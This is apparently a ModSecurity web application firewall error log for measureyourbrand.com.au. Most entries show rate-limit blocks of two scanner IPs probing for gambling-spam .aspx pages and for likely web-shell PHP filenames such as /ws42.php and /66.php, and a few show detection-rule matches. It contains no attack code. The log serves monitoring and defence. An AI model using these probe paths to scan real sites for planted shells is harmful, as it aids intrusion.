[Wed Apr 01 17:02:24.289894 2026] [:error] [pid 17856:tid 17860] [client 46.59.208.240:63454] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aczfID7Idlm5j9frhqSaSgAAAEI"]
[Wed Apr 01 17:02:26.999746 2026] [:error] [pid 8908:tid 8929] [client 46.59.208.240:62477] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aczfIvkmxtJXGnLdvgAX0AAAAJA"]
[Wed Apr 01 17:02:29.564833 2026] [:error] [pid 8995:tid 9018] [client 46.59.208.240:64642] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aczfJeonaBjs3qxcRed-ngAAABQ"]
[Wed Apr 01 17:02:32.253782 2026] [:error] [pid 8909:tid 8943] [client 46.59.208.240:59556] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aczfKDvP_a0662gDl6D0BgAAAMI"]
[Wed Apr 01 17:02:35.091218 2026] [:error] [pid 8908:tid 8915] [client 46.59.208.240:61870] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aczfK_kmxtJXGnLdvgAX5AAAAII"]
[Wed Apr 01 17:02:37.771620 2026] [:error] [pid 8910:tid 8977] [client 46.59.208.240:62185] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aczfLaJZINUcF3tYgEwjnAAAAQk"]
[Wed Apr 01 17:02:40.516876 2026] [:error] [pid 8908:tid 8919] [client 46.59.208.240:64823] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aczfMPkmxtJXGnLdvgAX7gAAAIY"]
[Wed Apr 01 17:02:43.403589 2026] [:error] [pid 8908:tid 8932] [client 46.59.208.240:63989] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aczfM_kmxtJXGnLdvgAX-AAAAJM"]
[Wed Apr 01 17:02:46.052003 2026] [:error] [pid 17856:tid 17861] [client 46.59.208.240:61753] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aczfNj7Idlm5j9frhqSaagAAAEM"]
[Wed Apr 01 17:02:48.765272 2026] [:error] [pid 8909:tid 8960] [client 46.59.208.240:61797] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aczfODvP_a0662gDl6D0IwAAANM"]
[Wed Apr 01 17:02:51.357030 2026] [:error] [pid 8909:tid 8947] [client 46.59.208.240:62303] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aczfOzvP_a0662gDl6D0MAAAAMY"]
[Wed Apr 01 17:02:53.799399 2026] [:error] [pid 8909:tid 8950] [client 46.59.208.240:64369] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aczfPTvP_a0662gDl6D0RAAAAMk"]
[Wed Apr 01 17:02:56.432026 2026] [:error] [pid 62559:tid 62566] [client 46.59.208.240:59153] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aczfQC7NKI8IaNKZFIdG3wAAAUU"]
[Wed Apr 01 17:02:58.978062 2026] [:error] [pid 8909:tid 8955] [client 46.59.208.240:59994] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aczfQjvP_a0662gDl6D0YQAAAM4"]
[Wed Apr 01 17:03:01.655693 2026] [:error] [pid 8908:tid 8928] [client 46.59.208.240:60614] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aczfRfkmxtJXGnLdvgAYEQAAAI8"]
[Wed Apr 01 17:03:04.385140 2026] [:error] [pid 8910:tid 8970] [client 46.59.208.240:62091] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aczfSKJZINUcF3tYgEwjvgAAAQI"]
[Wed Apr 01 17:03:06.989711 2026] [:error] [pid 8909:tid 8954] [client 46.59.208.240:62197] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aczfSjvP_a0662gDl6D0eAAAAM0"]
[Wed Apr 01 17:03:09.778606 2026] [:error] [pid 17856:tid 17874] [client 46.59.208.240:61869] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aczfTT7Idlm5j9frhqSahwAAAFA"]
[Wed Apr 01 17:03:32.196732 2026] [:error] [pid 17856:tid 17876] [client 46.59.208.240:63151] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aczfZD7Idlm5j9frhqSavgAAAFI"]
[Wed Apr 01 17:03:34.770314 2026] [:error] [pid 8908:tid 8936] [client 46.59.208.240:60194] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aczfZvkmxtJXGnLdvgAYTAAAAJc"]
[Wed Apr 01 17:03:37.672474 2026] [:error] [pid 17856:tid 17869] [client 46.59.208.240:63231] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aczfaT7Idlm5j9frhqSayQAAAEs"]
[Wed Apr 01 17:03:40.232015 2026] [:error] [pid 17856:tid 17863] [client 46.59.208.240:63356] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aczfbD7Idlm5j9frhqSa0gAAAEU"]
[Wed Apr 01 17:03:43.056189 2026] [:error] [pid 17856:tid 17874] [client 46.59.208.240:62216] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aczfbz7Idlm5j9frhqSa1gAAAFA"]
[Wed Apr 01 17:03:45.828629 2026] [:error] [pid 17856:tid 17859] [client 46.59.208.240:60310] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aczfcT7Idlm5j9frhqSa3AAAAEE"]
[Wed Apr 01 17:03:48.483390 2026] [:error] [pid 8909:tid 8950] [client 46.59.208.240:62607] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aczfdDvP_a0662gDl6D1BwAAAMk"]
[Wed Apr 01 17:03:51.066672 2026] [:error] [pid 8909:tid 8962] [client 46.59.208.240:61938] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aczfdzvP_a0662gDl6D1FwAAANU"]
[Wed Apr 01 17:03:55.899677 2026] [:error] [pid 8909:tid 8947] [client 46.59.208.240:62453] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aczfezvP_a0662gDl6D1MAAAAMY"]
[Wed Apr 01 17:03:58.610883 2026] [:error] [pid 8995:tid 9004] [client 46.59.208.240:59192] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aczffuonaBjs3qxcRed-0AAAAAY"]
[Wed Apr 01 17:04:01.119635 2026] [:error] [pid 8908:tid 8922] [client 46.59.208.240:63860] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aczfgfkmxtJXGnLdvgAYYQAAAIk"]
[Wed Apr 01 17:04:03.945749 2026] [:error] [pid 8909:tid 8945] [client 46.59.208.240:59051] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aczfgzvP_a0662gDl6D1QQAAAMQ"]
[Wed Apr 01 17:04:06.506489 2026] [:error] [pid 8908:tid 8926] [client 46.59.208.240:63312] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aczfhvkmxtJXGnLdvgAYZAAAAI0"]
[Wed Apr 01 17:04:09.328500 2026] [:error] [pid 8909:tid 8942] [client 46.59.208.240:63349] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aczfiTvP_a0662gDl6D1WQAAAME"]
[Wed Apr 01 17:04:13.179733 2026] [:error] [pid 8995:tid 9008] [client 46.59.208.240:61193] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aczfjeonaBjs3qxcRed-3QAAAAo"]
[Wed Apr 01 17:04:15.690893 2026] [:error] [pid 8909:tid 8964] [client 46.59.208.240:60143] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aczfjzvP_a0662gDl6D1gAAAANc"]
[Wed Apr 01 17:04:18.371957 2026] [:error] [pid 8909:tid 8955] [client 46.59.208.240:59750] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aczfkjvP_a0662gDl6D1kwAAAM4"]
[Wed Apr 01 17:04:21.038335 2026] [:error] [pid 8995:tid 9001] [client 46.59.208.240:64024] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aczfleonaBjs3qxcRed-7QAAAAM"]
[Wed Apr 01 17:04:23.567821 2026] [:error] [pid 8909:tid 8963] [client 46.59.208.240:62443] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aczflzvP_a0662gDl6D1pAAAANY"]
[Wed Apr 01 17:04:26.278455 2026] [:error] [pid 8910:tid 8973] [client 46.59.208.240:59212] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aczfmqJZINUcF3tYgEwj6wAAAQU"]
[Wed Apr 01 17:04:28.904133 2026] [:error] [pid 8909:tid 8956] [client 46.59.208.240:60781] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aczfnDvP_a0662gDl6D1tQAAAM8"]
[Wed Apr 01 17:04:51.239455 2026] [:error] [pid 8909:tid 8962] [client 46.59.208.240:61816] [client 46.59.208.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aczfszvP_a0662gDl6D2EwAAANU"]
[Wed Apr 01 18:42:41.173844 2026] [:error] [pid 8909:tid 8949] [client 43.167.236.228:54378] [client 43.167.236.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acz2oTvP_a0662gDl6BJuQAAAMg"]
[Wed Apr 01 19:18:20.908838 2026] [:error] [pid 62559:tid 62585] [client 122.3.150.61:23401] [client 122.3.150.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.3.150.61, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acz-_C7NKI8IaNKZFId3AAAAAVg"]
[Wed Apr 01 22:05:48.174130 2026] [:error] [pid 17856:tid 17861] [client 20.91.245.108:14578] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-true.php"] [unique_id "ac0mPD7Idlm5j9frhqRdzAAAAEM"]
[Wed Apr 01 22:05:49.643959 2026] [:error] [pid 8909:tid 8945] [client 20.91.245.108:8596] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-true.php"] [unique_id "ac0mPTvP_a0662gDl6DtCAAAAMQ"]
[Wed Apr 01 22:05:51.123106 2026] [:error] [pid 8910:tid 8983] [client 20.91.245.108:30107] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-true.php"] [unique_id "ac0mP6JZINUcF3tYgExwOwAAAQ8"]
[Wed Apr 01 22:05:53.948732 2026] [:error] [pid 17856:tid 17882] [client 20.91.245.108:10938] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-true.php"] [unique_id "ac0mQT7Idlm5j9frhqRd5QAAAFg"]
[Wed Apr 01 22:05:55.971871 2026] [:error] [pid 8908:tid 8920] [client 20.91.245.108:18996] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws42.php"] [unique_id "ac0mQ_kmxtJXGnLdvgCjMQAAAIc"]
[Wed Apr 01 22:05:57.680187 2026] [:error] [pid 17856:tid 17862] [client 20.91.245.108:24963] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws42.php"] [unique_id "ac0mRT7Idlm5j9frhqRd7gAAAEQ"]
[Wed Apr 01 22:06:02.157636 2026] [:error] [pid 8910:tid 8977] [client 20.91.245.108:19501] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws42.php"] [unique_id "ac0mSqJZINUcF3tYgExwPgAAAQk"]
[Wed Apr 01 22:06:03.185108 2026] [:error] [pid 17856:tid 17869] [client 20.91.245.108:21938] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws42.php"] [unique_id "ac0mSz7Idlm5j9frhqReCQAAAEs"]
[Wed Apr 01 22:06:03.941002 2026] [:error] [pid 17856:tid 17859] [client 20.91.245.108:5641] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "ac0mSz7Idlm5j9frhqReDAAAAEE"]
[Wed Apr 01 22:06:04.543132 2026] [:error] [pid 8908:tid 8918] [client 20.91.245.108:5349] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "ac0mTPkmxtJXGnLdvgCjOQAAAIU"]
[Wed Apr 01 22:06:05.591856 2026] [:error] [pid 8909:tid 8956] [client 20.91.245.108:23290] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "ac0mTTvP_a0662gDl6DtLwAAAM8"]
[Wed Apr 01 22:06:07.297407 2026] [:error] [pid 17856:tid 17882] [client 20.91.245.108:25252] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "ac0mTz7Idlm5j9frhqReHQAAAFg"]
[Wed Apr 01 22:06:08.910414 2026] [:error] [pid 17856:tid 17872] [client 20.91.245.108:23233] [client 20.91.245.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "ac0mUD7Idlm5j9frhqReIQAAAE4"]
